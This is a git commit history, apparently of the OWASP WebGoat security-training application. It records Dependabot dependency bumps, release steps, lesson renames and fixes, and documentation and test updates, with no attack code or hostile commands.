Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.2.0 to 4.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.2.0...v4.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:39:35 +01:00
dependabot[bot]
77c91b8df8 Bump actions/cache from 3.2.3 to 3.2.5
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.3 to 3.2.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.3...v3.2.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:38:56 +01:00
Nanne Baars
f9b810c5ee Fix formatting issue 2023-01-14 18:29:24 +01:00
Nanne Baars
dc0fc09679 Move to main and skip develop
Using main and develop imposes a complicated release process with Gitflow etc. To simplify our release process we move our development to the main branch skipping develop.
2023-01-14 18:24:35 +01:00
Nanne Baars
a0173fd8f8 Merge branch 'develop' 2023-01-14 17:07:37 +01:00
dependabot[bot]
58e7e9d4ef Bump actions/cache from 3.2.2 to 3.2.3
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-01-11 20:59:09 +01:00
Nanne Baars
c7a41d1b17 Merge branch 'release/v2023.3' into develop 2023-01-05 21:59:37 +01:00
Nanne Baars
edd9aa36c2 Merge branch 'release/v2023.3' 2023-01-05 21:59:29 +01:00
Nanne Baars
27fe1850de Preparing new release 2023-01-05 21:59:01 +01:00
Nanne Baars
5c2bbd1227 Fix jar path while creating a release 2023-01-05 21:57:08 +01:00
Nanne Baars
683b629663 Back to snapshot 2023-01-05 21:52:40 +01:00
Nanne Baars
04908a81e7 Add change log URL 2023-01-05 21:51:45 +01:00
Nanne Baars
701de68ef2 Merge branch 'release/v2023.2' into develop 2023-01-05 21:37:28 +01:00
Nanne Baars
81ed738493 Merge branch 'release/v2023.2' 2023-01-05 21:37:21 +01:00
Nanne Baars
c03d153978 New release 2023-01-05 21:36:48 +01:00
Nanne Baars
6ab04db2ee Merge branch 'release/v2023.1' into develop 2023-01-05 21:06:36 +01:00
Nanne Baars
a108a937b5 Merge branch 'release/v2023.1' 2023-01-05 21:06:22 +01:00
Nanne Baars
6d5ea57606 New release 2023-01-05 21:02:26 +01:00
Nanne Baars
79fd88eeb6 Use Java 17 2023-01-05 21:00:43 +01:00
Nanne Baars
64b10c1a59 Merge branch 'release/v2023.0' into develop 2023-01-05 20:52:02 +01:00
Nanne Baars
6398d31c14 Merge branch 'release/v2023.0' 2023-01-05 20:51:53 +01:00
Nanne Baars
716a7dd9ea Preparing release 2023.0 2023-01-05 20:51:34 +01:00
Nanne Baars
323daae578 Vulnerable components only work in a Docker container 2023-01-05 20:51:15 +01:00
Nanne Baars
bdbf66c8e1 Merge branch 'release/v2023.1' into develop 2023-01-05 20:38:54 +01:00
Nanne Baars
174a59c35a Preparing release 2023.1 2023-01-05 20:38:20 +01:00
Nanne Baars
a08e515f6d Merge branch 'release/v2023.0' into develop 2023-01-05 20:35:02 +01:00
Nanne Baars
f766edcfcb Preparing release 2023.0 2023-01-05 20:31:24 +01:00
Nanne Baars
3901814363 Fix documentation link for XXE mitigation. 2023-01-05 19:00:12 +01:00
Nanne Baars
59bfd7c6d4 Move XXE to A05 - Security Misconfiguration 2023-01-05 19:00:12 +01:00
Nanne Baars
11776e1d6a Remove explicit goal for code formatting
`mvn verify` already checks formatting, having a separate step is not necessary. We now also check Markdown files for correct formatting.
2023-01-05 18:18:52 +01:00
Nanne Baars
7664625afa Add documentation about reusing the container.
The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.

Add documentation about reusing the container.

The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.
2023-01-05 18:18:52 +01:00
Nanne Baars
dca415099f Remove unused JavaScript function 2023-01-05 11:33:00 +01:00
Nanne Baars
54e115aff0 Update the solution with WebWolf URLs
The new solution uses WebWolf paths as these will change automatically when a user start WebGoat on a different port. It no longer depends on the hardcoded port `8080`.
2023-01-05 11:02:45 +01:00
Nanne Baars
fcaa2d8589 Fix zip slip lesson.
The lesson did not work properly as the directory is reused across several path traversal lessons. First thing before uploading the zip file we now clean the directory.

The html had a reference to a location of the profile picture, this was part of a hint but this only causes confusion as this is not indicating to where you need to upload the picture with the Zip Slip vulnerability.

The assignment now contains a direct hint as where the image needs to be saved. The assignment is about creating a vulnerable zip file and NOT about guessing where the image should be saved inside WebGoat.
2023-01-05 11:02:45 +01:00
Nanne Baars
9666597164 - Add reference to the WebWolf icon in the top right corner.
- Format all text of the lesson
2023-01-04 08:07:51 +01:00
Nanne Baars
d2a1546dff
Apply formatting
This will make sure we have a consistent style across our project and the PRs are only concerned with actual changes and no longer about style.
2023-01-04 08:07:23 +01:00
Nanne Baars
b03777d39b Support boolean when parsing the token.
When the admin json element passes as a `boolean`:

```
{
 "admin": true
}
```

the parsing is now successful.
2023-01-04 07:43:18 +01:00
Nanne Baars
32468ff90b
Add sql lesson (#1370) 2023-01-04 07:42:29 +01:00
dependabot[bot]
614235d913
Bump actions/cache from 3.2.1 to 3.2.2 (#1369)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-31 16:28:31 +01:00
dependabot[bot]
9abf4ef2ea
Bump actions/cache from 3.0.11 to 3.2.1 (#1368)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.11 to 3.2.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.11...v3.2.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-27 18:00:54 +01:00
aswins2108@gmail.com
6a18ee80be Added info about login in the ReadMe file 2022-12-06 14:07:05 +01:00
Adam Szatyin
71ec36102f Fix typo 2022-12-01 21:34:19 +01:00
András Veres-Szentkirályi
8db9ff30be Fixed incorrect word
while "wear" and "were" have similar pronunciation, one of them is better here than the other :)
2022-11-29 18:55:44 +01:00
András Veres-Szentkirályi
b51be74cab typofix 2022-11-28 17:10:14 +01:00
dependabot[bot]
d4e3c9b91c Bump actions/cache from 3.0.10 to 3.0.11
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.10 to 3.0.11.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.10...v3.0.11)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:24 +02:00
dependabot[bot]
87358d4238 Bump docker/setup-qemu-action from 2.0.0 to 2.1.0
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:13 +02:00
dependabot[bot]
3bc5309a1c Bump docker/build-push-action from 3.1.1 to 3.2.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.1 to 3.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.1...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:56 +02:00
dependabot[bot]
8ec69d0a41 Bump docker/login-action from 2.0.0 to 2.1.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:44 +02:00
dependabot[bot]
1f567749bd Bump actions/first-interaction from 1.1.0 to 1.1.1
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.0 to 1.1.1.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.0...v1.1.1)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:32 +02:00
dependabot[bot]
ea892dbcb2
Bump actions/cache from 3.0.8 to 3.0.10 (#1342)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.8 to 3.0.10.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.8...v3.0.10)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 11:24:44 +02:00
Jesper Hallborg
96c2595ad0 Update interface name to exploit
The name is
org.owasp.webgoat.lessons.vulnerablecomponents.Contact
not
org.owasp.webgoat.vulnerablecomponents.Contact
2022-09-21 22:32:16 +02:00
René Zubcevic
34f5b79249
isReadable works inside a container, isFile not (#1334) 2022-09-12 09:02:07 +02:00
Thanh Tran
f5e4d4717a FixTypo - Fix typo in various lesson documentations 2022-08-30 22:21:22 +02:00
dependabot[bot]
de3c2c8d85 Bump actions/cache from 3.0.6 to 3.0.8
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.6 to 3.0.8.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.6...v3.0.8)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-08-27 16:44:51 +02:00
dependabot[bot]
975cbf5769
Bump docker/build-push-action from 3.1.0 to 3.1.1 (#1321)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 20:06:48 +02:00
dependabot[bot]
3308f89acc
Bump actions/cache from 3.0.5 to 3.0.6 (#1320)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.5 to 3.0.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.5...v3.0.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-06 21:59:58 +02:00
Àngel Ollé Blázquez
50f932b02e Renamed to webwolfintroduction 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
251167c6b0 Renamed to webgoatintroduction 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
256c1dd3aa Renamed to vulnerablecomponents 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
b93c935d6c Renamed to sqlinjection 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
827a9d3467 Renamed to securepasswords 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
91470b93ea Renamed to pathtraversal 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
37d684fdd3 Renamed to passwordreset 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
4f911c64a1 Renamed to missingac 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
e0a0a80ad9 Renamed to lessontemplate 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
26c289d7d4 Renamed to insecurelogin 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
1eff81718b Renamed to httpproxies 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
08ce1add01 Renamed to httpbasics 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
25948306bd Renamed to htmltampering 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
1c86f465dc Renamed to clientsidefiltering 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
3b330fb328 Renamed to chromedevtools 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
8a35316985 Rename to bypassrestrictions 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
c63345e4ee Rename authbypass 2022-07-31 22:39:21 +02:00
René Zubcevic
005b9f03a4
search the menu using input box (#1317)
* working version

* change onchange to oninput with minimum of three chars

* working version with delay and fix for category click
2022-07-31 20:45:09 +02:00
René Zubcevic
4d48bd3d4c
fix in style sheet that now shows normal dropdown behaviour (#1315) 2022-07-27 13:44:23 +02:00
René Zubcevic
71afc6b6f3
Workflow fix (#1311)
* conditional step

* conditional step
2022-07-25 09:55:24 +02:00
Àngel Ollé Blázquez
242fdf39a1 Fixes #1233 - Path traversal seems to contain wrong description 2022-07-24 22:09:16 +02:00
Nanne Baars
37163a99a6 Remove unused script 2022-07-24 15:34:43 +02:00
Nanne Baars
126ead2290 Add release notes 2022-07-24 15:34:43 +02:00
Àngel Ollé Blázquez
928bc32f4f Update README.md 2022-07-24 15:34:08 +02:00
René Zubcevic
6b63aaf8b1
Robot framework (#1304)
* added Robot framework UI tests

* added Robot framework UI tests workflow

* Update test.yml

wait in workflow

* remove obsolete selenium java libs and test

* Update test.yml

push result to commit as comment

* Update test.yml

push comment does not seem to work on WebGoat PR

* clean up unrequired robot options

* update readme
2022-07-24 12:28:01 +02:00
Àngel Ollé Blázquez
c4f16ceff6 Update README.md 2022-07-23 21:56:39 +02:00
Nanne Baars
4050d1817c Move to JRE image 2022-07-23 09:39:52 +02:00
Nanne Baars
37186e1d90 Explicity add ports to Java command
This way we don't have to mention it somewhere in the documentation it is all in one command
2022-07-23 09:39:52 +02:00
Nanne Baars
06b7244de7 Move XXE lesson to category A3: Injection 2022-07-23 09:39:52 +02:00
Nanne Baars
260168bb3f Remove automatic selection of a random port 2022-07-23 09:39:52 +02:00
dependabot[bot]
af9ba18040
Bump docker/build-push-action from 3.0.0 to 3.1.0 (#1302)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.0.0 to 3.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.0.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-20 18:50:11 +02:00
René Zubcevic
20dd3ffb95
Lang switch (#1297)
* language selector first steps

* language german intro added

* ascii doc lang attribute as additional option

* removed some commented code

* changed adoc resource loader to take into account the selected language

* added readme

* added lang test cases
2022-07-20 10:52:48 +02:00
Nanne Baars
24fcc8f321 Use starting instead of using. 2022-07-19 21:17:09 +02:00
Nanne Baars
ff965c83be Adjust year 2022-07-19 21:17:09 +02:00
Nanne Baars
2aa3609461 Fix typo 2022-07-19 21:17:09 +02:00
Nanne Baars
fe7774bb6f Update documentation regarding WebWolf
WebWolf no longer runs as a separate application we can simplify the description.
2022-07-19 21:17:09 +02:00
René Zubcevic
9e3eb39069
removed one duplicate label key and made all login and register fields multi language (#1296) 2022-07-16 06:53:39 +02:00
René Zubcevic
7add1ef73e
hints tested (#1295) 2022-07-15 12:44:37 +02:00
René Zubcevic
4fc03381a8
Label hint tests (#1293)
* label test

* adjusted it test filter

* label test added
2022-07-15 08:17:11 +02:00
René Zubcevic
16af4272a5
joda time refactored some dep fix (#1292) 2022-07-14 09:11:06 +02:00
dependabot[bot]
b47568ed69
Bump actions/cache from 3.0.4 to 3.0.5 (#1291)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-14 09:03:51 +02:00
René Zubcevic
f8b7ca5c85
Pom update (#1290)
* asciidoctorj update

* pom and suppression updates
2022-07-11 13:28:44 +02:00
René Zubcevic
e4eb5d783a
Some updates and code improvements (#1288)
* try with resources

* StringBuilder

* removed ant and updated spring boot
2022-07-10 17:13:26 +02:00
dependabot[bot]
7dd0dd0923
Bump actions/cache from 3.0.3 to 3.0.4 (#1270)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-20 15:25:31 +02:00
dependabot[bot]
aeb481e561
Bump actions/cache from 3.0.2 to 3.0.3 (#1260)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-04 18:06:55 +02:00
dependabot[bot]
8a22c88d61
Bump docker/build-push-action from 2.10.0 to 3.0.0 (#1252)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.10.0 to 3.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.10.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:51 +02:00
dependabot[bot]
724666e10f
Bump docker/setup-buildx-action from 1 to 2 (#1253)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 1 to 2.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:39 +02:00
dependabot[bot]
4953dd63ed
Bump docker/setup-qemu-action from 1.1.0 to 2.0.0 (#1254)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 1.1.0 to 2.0.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v1.1.0...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:28 +02:00
dependabot[bot]
a32055995d
Bump docker/login-action from 1.14.1 to 2.0.0 (#1255)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.14.1 to 2.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.14.1...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:01 +02:00
Àngel Ollé Blázquez
3c0b243797
Added new active developer (#1249)
Fix footer
2022-05-06 07:34:49 +02:00
Àngel Ollé Blázquez
dfa31e0a28
JWT doc code typo fix (#1247) 2022-04-20 08:16:21 +02:00
René Zubcevic
b32240f96b
owasp top10-2021 (#1235) 2022-04-11 21:12:41 +02:00
René Zubcevic
02c3f9551f
update spring boot (#1242) 2022-04-11 21:12:10 +02:00
dependabot[bot]
bc91ca86e8
Bump actions/cache from 2.1.7 to 3.0.2 (#1239)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.0.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3.0.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:54 +02:00
dependabot[bot]
1dadf20ee0
Bump actions/checkout from 2 to 3 (#1240)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:42 +02:00
dependabot[bot]
4ff41299e3
Bump actions/setup-java from 2 to 3 (#1241)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 2 to 3.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:28 +02:00
Àngel Ollé Blázquez
a9fa53535d
Fix Build Badge and Link (#1238) 2022-04-11 07:45:58 +02:00
Nanne Baars
711649924b
Refactoring (#1201)
* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
2022-04-09 14:56:12 +02:00
neilnaveen
f3d8206a07
Set permissions for GitHub actions (#1228)
- Included permissions for the action. https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions

https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions

https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs

[Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

 Restrict the GitHub token permissions only to the required ones; this way, even if the attackers will succeed in compromising your workflow, they won’t be able to do much.

Signed-off-by: neilnaveen <42328488+neilnaveen@users.noreply.github.com>
2022-04-09 12:54:32 +02:00
dependabot[bot]
56f5b0f0fa
Bump actions/cache from 2.1.7 to 3 (#1220)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:33:06 +01:00
dependabot[bot]
bed2eed8d8
Bump docker/build-push-action from 2.7.0 to 2.10.0 (#1218)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.7.0 to 2.10.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.7.0...v2.10.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:32:53 +01:00
dependabot[bot]
984548ae88
Bump actions/checkout from 2 to 3 (#1213)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:49 +01:00
dependabot[bot]
32475ea37e
Bump docker/login-action from 1.13.0 to 1.14.1 (#1214)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.13.0 to 1.14.1.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.13.0...v1.14.1)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:28 +01:00
dependabot[bot]
2332bf22a7
Bump docker/login-action from 1.12.0 to 1.13.0 (#1209)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-28 07:58:56 +01:00
René Zubcevic
3bc009297e
Update SessionManagementTest.java (#1198)
url() is required in this case. You will notice it when changing host name or when using https
2021-12-23 17:07:55 +01:00
Nanne Baars
44ab36aa1b
